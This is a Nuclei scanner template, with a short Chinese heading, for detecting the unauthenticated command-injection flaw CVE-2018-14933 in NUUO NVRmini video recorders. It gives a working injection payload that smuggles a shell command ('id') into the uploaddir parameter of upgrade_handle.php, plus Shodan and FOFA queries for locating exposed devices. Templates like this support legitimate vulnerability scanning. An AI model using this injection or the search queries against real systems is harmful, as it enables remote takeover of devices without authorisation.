漏洞描述
NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.
id: CVE-2018-14933
info:
name: NUUO NVRmini - Remote Command Execution
author: ritikchaddha
severity: critical
description: |
NUUO NVRmini is vulnerable to unauthenticated remote command execution through the upgrade_handle.php file. The vulnerability allows an attacker to execute arbitrary commands by manipulating the uploaddir parameter.
reference:
- https://www.exploit-db.com/exploits/45070
- https://www.cve.org/CVERecord?id=CVE-2018-14933
- https://nvd.nist.gov/vuln/detail/CVE-2018-14933
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-14933
cwe-id: CWE-78
epss-score: 0.93755
epss-percentile: 0.99842
cpe: cpe:2.3:o:nuuo:nvrmini_firmware:2016:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: nuuo
product: nvrmini_firmware
shodan-query: title:"NUUO"
fofa-query: title="NUUO"
tags: cve,cve2018,nuuo,rce,kev,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
- type: status
status:
- 200
# digest: 490a0046304402201f78fe85211eac13878f8b8e5f3afddcbd59c48b1cb36f750de6b76ea85f8c31022053cc7ca1545e70e9bd1dc5a9d785cf843d0a939ca4ff66668324c0732056b181:922c64590222798bb761d5b6d8e72950